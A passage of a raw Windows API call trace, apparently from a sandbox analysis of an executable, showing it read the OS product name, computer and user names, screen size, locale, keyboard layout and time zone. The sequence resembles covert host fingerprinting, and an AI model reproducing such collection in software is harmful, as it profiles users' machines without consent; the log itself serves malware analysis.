(dwErrCode=0x0) [0098.615] GetLastError () returned 0x0 [0098.615] SetLastError (dwErrCode=0x0) [0098.615] GetLastError () returned 0x0 [0098.615] SetLastError (dwErrCode=0x0) [0098.616] GetLastError () returned 0x0 [0098.616] SetLastError (dwErrCode=0x0) [0098.616] GetLastError () returned 0x0 [0098.616] SetLastError (dwErrCode=0x0) [0098.616] GetCurrentProcess () returned 0xffffffff [0098.616] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x19f7c4 | out: Wow64Process=0x19f7c4*=1) returned 1 [0098.621] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f5c0 | out: phkResult=0x19f5c0*=0x2fc) returned 0x0 [0098.665] RegQueryValueExA (in: hKey=0x2fc, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x19f5c4, lpcbData=0x19f5bc*=0xff | out: lpType=0x0, lpData=0x19f5c4*=0x57, lpcbData=0x19f5bc*=0xf) returned 0x0 [0098.665] RegCloseKey (hKey=0x2fc) returned 0x0 [0098.665] CharToOemA (in: pSrc="Windows 10 Pro", pDst=0x19f6c4 | out: pDst="Windows 10 Pro") returned 1 [0098.665] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111428 [0098.665] GetLastError () returned 0x0 [0098.665] SetLastError (dwErrCode=0x0) [0098.666] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111428 | out: hHeap=0x2110000) returned 1 [0098.666] GetComputerNameA (in: lpBuffer=0x1977c4, nSize=0x1977c0 | out: lpBuffer="XC64ZB", nSize=0x1977c0) returned 1 [0098.666] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111428 [0098.666] GetLastError () returned 0xcb [0098.666] SetLastError (dwErrCode=0xcb) [0098.666] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111428 | out: hHeap=0x2110000) returned 1 [0098.666] GetUserNameA (in: lpBuffer=0x19f6c0, pcbBuffer=0x19f6bc | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x19f6bc) returned 1 [0098.666] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111428 [0098.667] GetLastError () returned 0xcb [0098.667] SetLastError (dwErrCode=0xcb) [0098.667] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111428 | out: hHeap=0x2110000) returned 1 [0098.667] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xa0100d0 [0098.668] GetDeviceCaps (hdc=0xa0100d0, index=8) returned 1440 [0098.668] GetDeviceCaps (hdc=0xa0100d0, index=10) returned 900 [0098.668] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1 [0098.668] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2111428 [0098.669] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x2111438 [0098.669] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21110d0 [0098.669] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x21110e0 [0098.669] GetLastError () returned 0xcb [0098.669] SetLastError (dwErrCode=0xcb) [0098.670] GetLastError () returned 0xcb [0098.670] SetLastError (dwErrCode=0xcb) [0098.670] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0xd8) returned 0x3430048 [0098.670] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x355) returned 0x3430330 [0098.670] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430330 | out: hHeap=0x2110000) returned 1 [0098.670] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111338 | out: hHeap=0x2110000) returned 1 [0098.670] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2) returned 0x21110f8 [0098.670] GetLastError () returned 0xcb [0098.670] SetLastError (dwErrCode=0xcb) [0098.670] GetLastError () returned 0xcb [0098.670] SetLastError (dwErrCode=0xcb) [0098.670] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0xd8) returned 0x2111338 [0098.670] GetLastError () returned 0xcb [0098.670] SetLastError (dwErrCode=0xcb) [0098.670] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x355) returned 0x3430330 [0098.671] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430330 | out: hHeap=0x2110000) returned 1 [0098.671] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0098.671] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2) returned 0x2111478 [0098.671] GetLastError () returned 0xcb [0098.671] SetLastError (dwErrCode=0xcb) [0098.671] GetLastError () returned 0xcb [0098.671] SetLastError (dwErrCode=0xcb) [0098.671] GetLastError () returned 0xcb [0098.671] SetLastError (dwErrCode=0xcb) [0098.671] GetLastError () returned 0xcb [0098.671] SetLastError (dwErrCode=0xcb) [0098.671] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0xd8) returned 0x3430048 [0098.672] GetLastError () returned 0xcb [0098.672] SetLastError (dwErrCode=0xcb) [0098.672] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x355) returned 0x3430330 [0098.672] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430330 | out: hHeap=0x2110000) returned 1 [0098.672] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111338 | out: hHeap=0x2110000) returned 1 [0098.672] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0098.672] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110f8 | out: hHeap=0x2110000) returned 1 [0098.672] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x21110f8 [0098.676] GetLastError () returned 0xcb [0098.676] SetLastError (dwErrCode=0xcb) [0098.676] GetLastError () returned 0xcb [0098.676] SetLastError (dwErrCode=0xcb) [0098.676] GetLastError () returned 0xcb [0098.677] SetLastError (dwErrCode=0xcb) [0098.677] GetLastError () returned 0xcb [0098.677] SetLastError (dwErrCode=0xcb) [0098.677] GetLastError () returned 0xcb [0098.677] SetLastError (dwErrCode=0xcb) [0098.677] GetLastError () returned 0xcb [0098.677] SetLastError (dwErrCode=0xcb) [0098.677] GetLastError () returned 0xcb [0098.677] SetLastError (dwErrCode=0xcb) [0098.677] GetLastError () returned 0xcb [0098.677] SetLastError (dwErrCode=0xcb) [0098.677] GetLastError () returned 0xcb [0098.677] SetLastError (dwErrCode=0xcb) [0098.677] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x2111478 [0098.677] GetLastError () returned 0xcb [0098.677] SetLastError (dwErrCode=0xcb) [0098.677] GetLastError () returned 0xcb [0098.677] SetLastError (dwErrCode=0xcb) [0098.678] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0xd8) returned 0x2111338 [0098.678] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x355) returned 0x3430330 [0098.678] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430330 | out: hHeap=0x2110000) returned 1 [0098.678] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0098.678] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2) returned 0x2111498 [0098.678] GetLastError () returned 0xcb [0098.678] SetLastError (dwErrCode=0xcb) [0098.678] GetLastError () returned 0xcb [0098.678] SetLastError (dwErrCode=0xcb) [0098.678] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0xd8) returned 0x3430048 [0098.678] GetLastError () returned 0xcb [0098.678] SetLastError (dwErrCode=0xcb) [0098.678] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x355) returned 0x3430330 [0098.678] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430330 | out: hHeap=0x2110000) returned 1 [0098.679] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111338 | out: hHeap=0x2110000) returned 1 [0098.679] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2) returned 0x21114a8 [0098.679] GetLastError () returned 0xcb [0098.679] SetLastError (dwErrCode=0xcb) [0098.679] GetLastError () returned 0xcb [0098.679] SetLastError (dwErrCode=0xcb) [0098.679] GetLastError () returned 0xcb [0098.679] SetLastError (dwErrCode=0xcb) [0098.679] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x1) returned 0x21114b8 [0098.679] GetLastError () returned 0xcb [0098.679] SetLastError (dwErrCode=0xcb) [0098.679] GetLastError () returned 0xcb [0098.679] SetLastError (dwErrCode=0xcb) [0098.679] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x6) returned 0x21114c8 [0098.679] GetLastError () returned 0xcb [0098.679] SetLastError (dwErrCode=0xcb) [0098.679] GetLastError () returned 0xcb [0098.679] SetLastError (dwErrCode=0xcb) [0098.680] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x5) returned 0x21114d8 [0098.680] GetLastError () returned 0xcb [0098.680] SetLastError (dwErrCode=0xcb) [0098.680] GetLastError () returned 0xcb [0098.680] SetLastError (dwErrCode=0xcb) [0098.680] GetLastError () returned 0xcb [0098.680] SetLastError (dwErrCode=0xcb) [0098.680] GetLastError () returned 0xcb [0098.680] SetLastError (dwErrCode=0xcb) [0098.680] GetLastError () returned 0xcb [0098.680] SetLastError (dwErrCode=0xcb) [0098.680] GetLastError () returned 0xcb [0098.680] SetLastError (dwErrCode=0xcb) [0098.680] GetLastError () returned 0xcb [0098.680] SetLastError (dwErrCode=0xcb) [0098.680] GetLastError () returned 0xcb [0098.680] SetLastError (dwErrCode=0xcb) [0098.680] GetLastError () returned 0xcb [0098.680] SetLastError (dwErrCode=0xcb) [0098.680] GetLastError () returned 0xcb [0098.681] SetLastError (dwErrCode=0xcb) [0098.681] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0xd8) returned 0x2111338 [0098.681] GetLastError () returned 0xcb [0098.681] SetLastError (dwErrCode=0xcb) [0098.681] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x355) returned 0x3430330 [0098.681] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430330 | out: hHeap=0x2110000) returned 1 [0098.681] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0098.681] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21114a8 | out: hHeap=0x2110000) returned 1 [0098.681] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111498 | out: hHeap=0x2110000) returned 1 [0098.681] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2111498 [0098.681] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430048 [0098.681] GetLastError () returned 0xcb [0098.681] SetLastError (dwErrCode=0xcb) [0098.682] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0098.682] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0098.682] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111438 | out: hHeap=0x2110000) returned 1 [0098.682] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111428 | out: hHeap=0x2110000) returned 1 [0098.682] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21110d0 [0098.682] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x2111428 [0098.682] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2111448 [0098.682] GetLastError () returned 0xcb [0098.682] SetLastError (dwErrCode=0xcb) [0098.682] GetLastError () returned 0xcb [0098.683] SetLastError (dwErrCode=0xcb) [0098.683] GetLastError () returned 0xcb [0098.683] SetLastError (dwErrCode=0xcb) [0098.683] GetLastError () returned 0xcb [0098.683] SetLastError (dwErrCode=0xcb) [0098.683] GetLastError () returned 0xcb [0098.683] SetLastError (dwErrCode=0xcb) [0098.683] GetLastError () returned 0xcb [0098.683] SetLastError (dwErrCode=0xcb) [0098.683] GetLastError () returned 0xcb [0098.683] SetLastError (dwErrCode=0xcb) [0098.683] GetLastError () returned 0xcb [0098.683] SetLastError (dwErrCode=0xcb) [0098.683] GetLastError () returned 0xcb [0098.683] SetLastError (dwErrCode=0xcb) [0098.683] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34304e8 [0098.683] GetLastError () returned 0xcb [0098.683] SetLastError (dwErrCode=0xcb) [0098.684] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34304e8 | out: hHeap=0x2110000) returned 1 [0098.684] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111448 | out: hHeap=0x2110000) returned 1 [0098.684] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111428 | out: hHeap=0x2110000) returned 1 [0098.684] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0098.684] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430498 [0098.684] GetLastError () returned 0xcb [0098.684] SetLastError (dwErrCode=0xcb) [0098.684] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430498 | out: hHeap=0x2110000) returned 1 [0098.684] GetUserDefaultLocaleName (in: lpLocaleName=0x19f70c, cchLocaleName=85 | out: lpLocaleName="en-US") returned 6 [0098.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0098.684] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x6) returned 0x21110d0 [0098.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=6, lpMultiByteStr=0x21110d0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 6 [0098.684] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0098.684] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303d0 [0098.684] GetLastError () returned 0xcb [0098.684] SetLastError (dwErrCode=0xcb) [0098.684] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303d0 | out: hHeap=0x2110000) returned 1 [0098.690] GetKeyboardLayoutList (in: nBuff=0, lpList=0x0 | out: lpList=0x0) returned 1 [0098.761] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x6a6948 [0098.761] GetKeyboardLayoutList (in: nBuff=1, lpList=0x6a6948 | out: lpList=0x6a6948) returned 1 [0098.762] GetLocaleInfoA (in: Locale=0x409, LCType=0x2, lpLCData=0x19f5b8, cchData=512 | out: lpLCData="English (United States)") returned 24 [0098.803] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430448 [0098.803] LocalFree (hMem=0x6a6948) returned 0x0 [0098.803] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x3430048 [0098.803] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430448 | out: hHeap=0x2110000) returned 1 [0098.804] GetLastError () returned 0x0 [0098.804] SetLastError (dwErrCode=0x0) [0098.804] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0098.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19f5d0 | out: lpSystemTimeAsFileTime=0x19f5d0*(dwLowDateTime=0x3394fffd, dwHighDateTime=0x1d7b3bd)) [0098.804] GetLastError () returned 0x0 [0098.804] SetLastError (dwErrCode=0x0) [0098.804] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x24) returned 0x2111428 [0098.804] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21110d0 [0098.805] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430048 [0098.805] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21114a8 [0098.805] GetLastError () returned 0x0 [0098.805] SetLastError (dwErrCode=0x0) [0098.805] GetLastError () returned 0x0 [0098.806] SetLastError (dwErrCode=0x0) [0098.806] GetLastError () returned 0x0 [0098.806] SetLastError (dwErrCode=0x0) [0098.806] GetLastError () returned 0x0 [0098.806] SetLastError (dwErrCode=0x0) [0098.806] GetLastError () returned 0x0 [0098.806] SetLastError (dwErrCode=0x0) [0098.806] GetLastError () returned 0x0 [0098.806] SetLastError (dwErrCode=0x0) [0098.806] GetLastError () returned 0x0 [0098.806] SetLastError (dwErrCode=0x0) [0098.806] GetLastError () returned 0x0 [0098.807] SetLastError (dwErrCode=0x0) [0098.807] GetLastError () returned 0x0 [0098.807] SetLastError (dwErrCode=0x0) [0098.807] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303f8 [0098.807] GetLastError () returned 0x0 [0098.807] SetLastError (dwErrCode=0x0) [0098.807] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303f8 | out: hHeap=0x2110000) returned 1 [0098.807] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21114a8 | out: hHeap=0x2110000) returned 1 [0098.807] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0098.807] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0098.807] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21110d0 [0098.808] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430048 [0098.808] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21114a8 [0098.808] GetLastError () returned 0x0 [0098.808] SetLastError (dwErrCode=0x0) [0098.808] GetLastError () returned 0x0 [0098.808] SetLastError (dwErrCode=0x0) [0098.808] GetLastError () returned 0x0 [0098.808] SetLastError (dwErrCode=0x0) [0098.809] GetLastError () returned 0x0 [0098.809] SetLastError (dwErrCode=0x0) [0098.809] GetLastError () returned 0x0 [0098.809] SetLastError (dwErrCode=0x0) [0098.809] GetLastError () returned 0x0 [0098.809] SetLastError (dwErrCode=0x0) [0098.809] GetLastError () returned 0x0 [0098.809] SetLastError (dwErrCode=0x0) [0098.809] GetLastError () returned 0x0 [0098.809] SetLastError (dwErrCode=0x0) [0098.809] GetLastError () returned 0x0 [0098.809] SetLastError (dwErrCode=0x0) [0098.809] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430628 [0098.809] GetLastError () returned 0x0 [0098.809] SetLastError (dwErrCode=0x0) [0098.809] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430628 | out: hHeap=0x2110000) returned 1 [0098.810] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21114a8 | out: hHeap=0x2110000) returned 1 [0098.810] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0098.810] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0098.810] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21110d0 [0098.810] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430048 [0098.810] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21114a8 [0098.810] GetLastError () returned 0x0 [0098.810] SetLastError (dwErrCode=0x0) [0098.810] GetLastError () returned 0x0 [0098.810] SetLastError (dwErrCode=0x0) [0098.810] GetLastError () returned 0x0 [0098.811] SetLastError (dwErrCode=0x0) [0098.811] GetLastError () returned 0x0 [0098.811] SetLastError (dwErrCode=0x0) [0098.811] GetLastError () returned 0x0 [0098.811] SetLastError (dwErrCode=0x0) [0098.811] GetLastError () returned 0x0 [0098.811] SetLastError (dwErrCode=0x0) [0098.811] GetLastError () returned 0x0 [0098.811] SetLastError (dwErrCode=0x0) [0098.811] GetLastError () returned 0x0 [0098.811] SetLastError (dwErrCode=0x0) [0098.811] GetLastError () returned 0x0 [0098.811] SetLastError (dwErrCode=0x0) [0098.811] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430678 [0098.811] GetLastError () returned 0x0 [0098.811] SetLastError (dwErrCode=0x0) [0098.812] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430678 | out: hHeap=0x2110000) returned 1 [0098.812] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21114a8 | out: hHeap=0x2110000) returned 1 [0098.812] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0098.812] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0098.812] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21110d0 [0098.812] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430048 [0098.812] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21114a8 [0098.812] GetLastError () returned 0x0 [0098.813] SetLastError (dwErrCode=0x0) [0098.813] GetLastError () returned 0x0 [0098.813] SetLastError (dwErrCode=0x0) [0098.813] GetLastError () returned 0x0 [0098.813] SetLastError (dwErrCode=0x0) [0098.813] GetLastError () returned 0x0 [0098.813] SetLastError (dwErrCode=0x0) [0098.813] GetLastError () returned 0x0 [0098.813] SetLastError (dwErrCode=0x0) [0098.813] GetLastError () returned 0x0 [0098.813] SetLastError (dwErrCode=0x0) [0098.813] GetLastError () returned 0x0 [0098.813] SetLastError (dwErrCode=0x0) [0098.813] GetLastError () returned 0x0 [0098.813] SetLastError (dwErrCode=0x0) [0098.813] GetLastError () returned 0x0 [0098.813] SetLastError (dwErrCode=0x0) [0098.814] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430448 [0098.814] GetLastError () returned 0x0 [0098.814] SetLastError (dwErrCode=0x0) [0098.814] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430448 | out: hHeap=0x2110000) returned 1 [0098.814] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21114a8 | out: hHeap=0x2110000) returned 1 [0098.814] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0098.814] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0098.814] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21110d0 [0098.814] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430048 [0098.814] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21114a8 [0098.815] GetLastError () returned 0x0 [0098.815] SetLastError (dwErrCode=0x0) [0098.815] GetLastError () returned 0x0 [0098.815] SetLastError (dwErrCode=0x0) [0098.815] GetLastError () returned 0x0 [0098.815] SetLastError (dwErrCode=0x0) [0098.815] GetLastError () returned 0x0 [0098.815] SetLastError (dwErrCode=0x0) [0098.815] GetLastError () returned 0x0 [0098.815] SetLastError (dwErrCode=0x0) [0098.815] GetLastError () returned 0x0 [0098.815] SetLastError (dwErrCode=0x0) [0098.815] GetLastError () returned 0x0 [0098.815] SetLastError (dwErrCode=0x0) [0098.815] GetLastError () returned 0x0 [0098.815] SetLastError (dwErrCode=0x0) [0098.816] GetLastError () returned 0x0 [0098.816] SetLastError (dwErrCode=0x0) [0098.816] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430358 [0098.816] GetLastError () returned 0x0 [0098.816] SetLastError (dwErrCode=0x0) [0098.816] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430358 | out: hHeap=0x2110000) returned 1 [0098.816] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21114a8 | out: hHeap=0x2110000) returned 1 [0098.816] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0098.816] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0098.816] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21110d0 [0098.816] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430048 [0098.816] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21114a8 [0098.817] GetLastError () returned 0x0 [0098.817] SetLastError (dwErrCode=0x0) [0098.817] GetLastError () returned 0x0 [0098.817] SetLastError (dwErrCode=0x0) [0098.817] GetLastError () returned 0x0 [0098.817] SetLastError (dwErrCode=0x0) [0098.817] GetLastError () returned 0x0 [0098.817] SetLastError (dwErrCode=0x0) [0098.817] GetLastError () returned 0x0 [0098.817] SetLastError (dwErrCode=0x0) [0098.817] GetLastError () returned 0x0 [0098.817] SetLastError (dwErrCode=0x0) [0098.817] GetLastError () returned 0x0 [0098.817] SetLastError (dwErrCode=0x0) [0098.817] GetLastError () returned 0x0 [0098.818] SetLastError (dwErrCode=0x0) [0098.818] GetLastError () returned 0x0 [0098.818] SetLastError (dwErrCode=0x0) [0098.818] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303d0 [0098.818] GetLastError () returned 0x0 [0098.818] SetLastError (dwErrCode=0x0) [0098.828] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303d0 | out: hHeap=0x2110000) returned 1 [0098.828] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21114a8 | out: hHeap=0x2110000) returned 1 [0098.828] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0098.828] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0098.828] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430420 [0098.828] GetLastError () returned 0x0 [0098.828] SetLastError (dwErrCode=0x0) [0098.828] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430420 | out: hHeap=0x2110000) returned 1 [0098.828] GetSystemTime (in: lpSystemTime=0x19f6d0 | out: lpSystemTime=0x19f6d0*(wYear=0x7e5, wMonth=0x9, wDayOfWeek=0x1, wDay=0x1b, wHour=0x10, wMinute=0x20, wSecond=0x2, wMilliseconds=0x28f)) [0098.829] GetTimeZoneInformation (in: lpTimeZoneInformation=0x19f70c | out: lpTimeZoneInformation=0x19f70c) returned 0x2 [0098.829] TzSpecificLocalTimeToSystemTime (in: lpTimeZoneInformation=0x19f70c, lpLocalTime=0x19f6d0, lpUniversalTime=0x19f6e0 | out: lpUniversalTime=0x19f6e0) returned 1 [0098.830] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21110d0 [0098.830] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430048 [0098.830] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21114a8 [0098.830] GetLastError () returned 0x0 [0098.830] SetLastError (dwErrCode=0x0) [0098.901] GetLastError () returned 0x0 [0098.901] SetLastError (dwErrCode=0x0) [0098.901] GetLastError () returned 0x0 [0098.901] SetLastError (dwErrCode=0x0) [0098.901] GetLastError () returned 0x0 [0098.901] SetLastError (dwErrCode=0x0) [0098.901] GetLastError () returned 0x0 [0098.901] SetLastError (dwErrCode=0x0) [0098.901] GetLastError () returned 0x0 [0098.901] SetLastError (dwErrCode=0x0) [0098.902] GetLastError () returned 0x0 [0098.902] SetLastError (dwErrCode=0x0) [0098.902] GetLastError () returned 0x0 [0098.902] SetLastError (dwErrCode=0x0) [0098.902] GetLastError () returned 0x0 [0098.902] SetLastError (dwErrCode=0x0) [0098.902] GetLastError () returned 0x0 